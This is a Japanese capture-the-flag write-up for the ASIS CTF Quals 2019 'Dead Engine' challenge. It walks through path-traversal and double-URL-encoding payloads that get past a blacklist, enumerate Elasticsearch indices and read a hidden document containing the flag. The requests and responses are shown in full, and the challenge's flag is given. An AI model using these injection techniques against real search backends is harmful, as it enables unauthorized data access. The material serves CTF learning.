ASIS CTF Quals 2019 - Dead Engine Writeup
調査
与えられたURLにアクセスすると次のようなページが表示される。何らかの検索サイトっぽい。
*
を入力すると色々結果が出てくる。
このときのサーバーへのリクエストとその応答は次の通り。
POST /?action HTTP/1.1 Host: 192.241.183.207 Content-Type: application/x-www-form-urlencoded; charset=UTF-8 Content-Length: 19 q=*&endpoint=search
[{"title":"Test hack password ctf","_id":"AWoSY9ipLaY_ZeX1ck7_","_type":"articles","downloadLink":"https:\/\/127.0.0.1\/"},{"title":"CompTIA Network+","_id":"AWoSY9iqLaY_ZeX1ck8B","_type":"articles","downloadLink":"https:\/\/www.amazon.com\/CompTIA-Network-Certification-Seventh-N10-007\/dp\/1260122387"},{"title":"Cracking Codes with Python","_id":"AWoSY9iqLaY_ZeX1ck8A","_type":"articles","downloadLink":"https:\/\/www.amazon.com\/Cracking-Codes-Python-Introduction-Building\/dp\/1593278225"},{"title":"The Web Application Hacker's Handbook","_id":"AWoSY9ieLaY_ZeX1ck79","_type":"articles","downloadLink":"https:\/\/www.amazon.co.uk\/Web-Application-Hackers-Handbook-Exploiting\/dp\/1118026470"},{"title":"Red Team Field Manual","_id":"AWoSY9iiLaY_ZeX1ck7-","_type":"articles","downloadLink":"https:\/\/www.amazon.co.uk\/Rtfm-Red-Team-Field-Manual\/dp\/1494295504"}]
a a
と入力するとエラーになる。
このときの応答はillegal_argument_exception
であり、このエラーメッセージからバックエンドではElasticsearchを使っていることがわかる。
検索結果をクリックすると次のようなリクエストが投げられる。
POST /?action HTTP/1.1 Host: 192.241.183.207 Content-Type: application/x-www-form-urlencoded; charset=UTF-8 Content-Length: 23 id=AWoSY9ipLaY_ZeX1ck7_
応答はこんな感じ。
"{\"_index\":\"articles\",\"_type\":\"articles\",\"_id\":\"AWoSY9ipLaY_ZeX1ck7_\",\"_version\":1,\"found\":true,\"_source\":{\"title\":\"Test hack password ctf\",\"category\":\"Computing & Internet -> Networking & Security\",\"downloadLink\":\"https:\/\/127.0.0.1\/\",\"rating\":5,\"price\":\"1000\",\"access\":\"nowhere\",\"date\":\"4\/12\/2019, 4:31:34 PM\"}}"
解き方
ガチャガチャいじっている中で、q=aaa&endpoint=/bbb
というリクエストを投げるとError while JSON decoding:No handler found for uri [/articles/articles/_/bbb?q=aaa] and method [GET]
というエラーが返ってきた。
/bbb
にはもともとsearch
が入っていたので、どうやらElasticsearchの_search
で検索をしているということがわかる。また、検索対象をarticlesインデックスのarticlesタイプに絞っていることもわかる。全インデックスを検索対象にする場合はシンプルに/_search?q=*
とすれば良い。つまり以下のようなリクエストを投げることにより全てのインデックスのデータが返される。
q=*&endpoint=/../../../_search
応答は次の通り。
... { "title": "Flag Is Here, Grab it :)", "_id": "AWoSY9h7LaY_ZeX1ck78", "_type": "fl4g?", "downloadLink": null } ...
残念ながらまだflagはわからないが、これでflagが書かれているであろうドキュメントのidとtypeが判明した。
引き続きガチャガチャいじっているとid=AAA+BBB
というリクエストを投げた際に"{\"error\":{\"root_cause\":[{\"type\":\"illegal_argument_exception\",\"reason\":\"invalid version format: BBB HTTP\/1.1\"}],\"type\":\"illegal_argument_exception\",\"reason\":\"invalid version format: BBB HTTP\/1.1\"},\"status\":400}"
というエラーが返されることに気づく。BBB HTTP/1.1
が無効なバージョンフォーマットということはバックエンドのElasticsearchサーバーに次のようなリクエストが投げられているということが想定できる。
GET /?????/?????AAA BBB HTTP/1.1 ...
これを利用することで、indexは次のリクエストで調べることができる。なお、/_
という文字列がblacklistされているようだが2回URLエンコードすることでこれを回避している(フロントエンドのWebサーバーで2度デコードされ、Elasticsearchで2回目のデコードがされる)。
id=/../../../%25%35%66aliases
"{\"secr3td4ta\":{\"aliases\":{}},\"articles\":{\"aliases\":{}}}"
これでindexがsecr3td4ta
であることが判明する。
あとは次のリクエストでflagが書かれているドキュメントを読みだすことができる。
id=/../../../secr3td4ta/fl4g%253f/AWoSY9h7LaY_ZeX1ck78
"{\"_index\":\"secr3td4ta\",\"_type\":\"fl4g?\",\"_id\":\"AWoSY9h7LaY_ZeX1ck78\",\"_version\":1,\"found\":true,\"_source\":{\"title\":\"Flag Is Here, Grab it :)\",\"flag\":\"ASIS{2a6e210f10784c9a0197ba164b94f25d}\"}}"
flagは次の通り。
ASIS{2a6e210f10784c9a0197ba164b94f25d}